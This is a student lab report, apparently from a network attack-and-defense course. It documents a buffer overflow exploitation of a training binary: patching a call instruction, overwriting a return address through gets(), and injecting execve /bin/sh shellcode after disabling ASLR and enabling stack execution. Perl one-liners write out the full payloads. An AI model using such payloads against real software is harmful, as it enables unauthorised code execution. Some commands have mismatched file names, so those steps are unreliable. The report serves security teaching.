20252819 2025-2026-2 《网络攻防实践》第九周作业

20252819 2025-2026-2《网络攻防实践》实践九实验报告

一、实验基本信息

  • 实验名称: 缓冲区溢出与Shellcode注入实验
  • 实验环境: Kali Linux
  • 实验工具: objdump、gdb、vim、execstack
  • 实验对象: pwn1可执行文件

二、实验目的

  1. 学习缓冲区溢出漏洞的形成原因与利用方式;
  2. 掌握Linux环境下二进制程序的分析方法;
  3. 学习通过修改可执行文件改变程序执行流程;
  4. 掌握覆盖返回地址实现程序劫持的方法;
  5. 理解Shellcode注入与执行过程。

三、实验原理

缓冲区溢出漏洞是由于程序在向固定长度缓冲区写入数据时缺乏边界检查,导致多余数据覆盖相邻内存区域。攻击者可以利用该漏洞修改函数返回地址,使程序跳转到指定位置执行恶意代码。

本实验主要利用程序中的 gets() 函数漏洞。由于 gets() 不会检查输入长度,因此输入超长字符串时会覆盖栈中的返回地址。通过精心构造输入数据,可以实现:

  • 修改程序执行流程;
  • 调用隐藏函数;
  • 执行Shellcode并获取Shell。

四、实验过程


(一)修改可执行文件实现程序流程劫持

1. 修改主机名与实验文件名

首先根据实验要求修改主机名,并重命名实验文件。

hostname csy20252819
mv pwn1 pwn20252819csy

image
image


2. 分析程序结构

使用 objdump 对程序进行反汇编,查看函数调用关系。

objdump -d pwn20252819csy | more

image

通过分析发现:

  • main() 函数会调用 foo()
    image

  • 程序中存在 getShell() 函数;

  • 正常情况下不会进入 getShell()

因此可以通过修改 call 指令偏移量,使程序直接跳转到 getShell()


3. 修改二进制文件

利用 vim 以十六进制形式打开文件:

vim pwn20252819csy

image
改为16进制查看
Esc 键,然后输入冒号 :,再输入命令: :%!xxd

:%!xxd

image

找到对应的 call 指令后,将其修改为跳转到 getShell() 的偏移地址。让函数返回时不再回到 main,直接跳转到 getShell 函数。将d7 改为 c3。
按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。

:%!xxd -r

image
image


4. 验证实验结果

重新查看反汇编结果:

objdump -d pwn20252819csy | more

image

确认程序已经跳转到 getShell()

由于修改文件后执行权限消失,需要重新赋予权限:

chmod +x ./pwn20252819csy

image

随后执行程序:

./pwn20252819csy

image

成功获得Shell,说明程序流程劫持成功。


(二)缓冲区溢出覆盖返回地址实验


1. 准备实验文件

重新复制原始程序:

mv pwn1 pwn20252819csy02

image


2. 分析漏洞位置

再次使用 objdump 查看程序:

objdump -d pwn20252819csy02 | more

image

发现程序内部调用了 gets() 函数,因此存在典型的栈溢出漏洞。


3. 构造攻击字符串

通过分析得到 getShell() 函数地址:

0x0804847d

由于Linux采用小端存储,因此需要反向写入:

perl -e 'print "csycsycsycsycsycsycsycsycsycsycs\x7d\x84\x04\x08"' > input20252819

4. 查看Payload内容

xxd input20252819

image

确认返回地址已经正确写入。


5. 执行攻击

(cat input20252819;cat) | ./pwn20252819csy02

image

程序成功进入 getShell(),获取Shell权限。


6. 使用gdb分析栈结构

安装gdb:

sudo apt install gdb -y

image

下载失败
分析原因是部分 Kali 官方源( http://kali.org )的包返回了 404 Not Found,导致安装中断。
备份并更换为稳定的清华源
bash
运行

备份原来的源文件

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

# 编辑源文件
sudo nano /etc/apt/sources.list

把里面所有内容删掉,只保留这两行:
plaintext
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib
按 Ctrl+O 保存,Ctrl+X 退出。

image
sudo apt install gdb -y重新安装
image
安装成功
an
进入调试:

gdb pwn20252819csy02

image

输入大量字符后查看寄存器:输入r执行程序,连续输入 5 遍1234567890(总计 50 个字符)

image

info r

image

观察到:

EIP = 0x36353433

对应ASCII字符:

3456

说明返回地址从第33个字节开始被覆盖,因此缓冲区大小为32字节。


7. 构造最终Payload

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > csy_input

image

再次执行:

(cat csy_input;cat) | ./pwn20252819csy02

image

成功获取Shell。


(三)Shellcode注入实验


1. 设置栈可执行

下载并安装 execstack

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb

image

解压压缩包

sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image

设置程序栈可执行:

execstack -s pwn20252819csy02//设置为可执行状态
execstack -q pwn20252819csy02//检查是否设置成功

image


2. 关闭ASLR

为了保证Shellcode地址固定,需要关闭地址随机化机制:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //检查是否关闭地址随机化,输出0成功关闭;

image


3. 构造Shellcode

构造包含NOP滑板与Shellcode的payload:

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

4. 执行程序

(cat input_20252819;cat) | ./pwn20252819csy02

image

打开一个新的终端查看pwn20252819csy02文件地进程以及进程号

ps -ef | grep pwn20252819csy02

image

随后利用gdb附加调试:

gdb pwn20252819csy02

image

将 gdb 附加到正在运行的进程(103882),反汇编 foo 函数,查看其汇编代码了解其内部结构。在地址 0x080484ae 处设置一个断点。
0x080484ae 是 foo 函数中 ret 指令的地址。设置断点后,当程序执行到 ret 指令时会暂停,此时可以查看返回地址是否被成功覆盖,以及堆栈的状态。

attach 103882
disassemble foo
break *0x080484ae

查看栈内存与ESP寄存器内容,确定Shellcode所在地址。
终端1按回车后,在终端2输入c 继续运行。使用info r esp查看到栈顶指针所在的位置是0xffffcf5c
shellcode的地址为栈顶指针的地址 + 4= 0xffffcf5c + 4 = 0xffffcf60,

info r esp
x/16x 0xffffcf5c

image


5. 构造最终利用代码

退出gbd调试,重新构造 input_20252819文件,输入指令测试是否拿到shell

perl -e 'print "A" x 32; print "\x60\xcf\xff\xff"; print "\x90"x16; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input
(cat input_20252819;cat) | ./pwn20252819csy02
Ls
Whoami

image

执行后成功获得Shell。

说明Shellcode注入成功。


五、实验中遇到的问题及解决方法

问题 解决方法
修改文件后无法执行 使用 chmod +x 文件名 重新赋予权限
系统未安装gdb 使用 sudo apt install gdb -y 安装
execstack无法直接安装 下载对应deb包后手动安装
关闭ASLR失败 使用 sudo tee 提升权限
Shellcode地址不稳定 关闭ASLR并使用gdb定位地址

六、实验总结

通过本次实验,我对缓冲区溢出漏洞的形成原因、利用方式以及整个攻击流程都有了更加深入的理解。以前只是停留在理论层面,知道缓冲区溢出可以覆盖返回地址,但这次是第一次真正自己动手完成从程序分析、漏洞定位到最终获取Shell的全过程,对二进制漏洞利用有了更直观的认识。实验过程中,我学习了如何使用 objdump 对程序进行反汇编分析,理解了函数调用过程以及栈空间的变化,也掌握了利用 gdb 调试程序、查看寄存器和分析内存的方法。

在实验中,我先通过修改二进制文件中的 call 指令实现程序流程劫持,然后又利用 gets() 函数存在的漏洞,通过构造特定输入覆盖函数返回地址,使程序跳转到 getShell() 函数。后面的Shellcode注入实验难度更高,需要关闭ASLR、设置栈可执行、分析ESP寄存器位置并不断调整payload,整个过程让我更加理解了Linux系统中的栈结构和内存布局。虽然调试过程中遇到了权限不足、工具缺失、地址不稳定等问题,但通过查阅资料和反复尝试,最终都成功解决了。

通过这次实验,我不仅掌握了缓冲区溢出攻击的基本方法,也进一步认识到了DEP、ASLR等安全防护机制的重要性。同时,这次实验还提升了我在Linux环境下分析程序、调试程序以及解决问题的能力,对后续学习网络攻防和二进制安全相关知识有很大的帮助。

posted @ 2026-05-11 22:39  nepenthe词不达意  阅读(17)  评论(0)    收藏  举报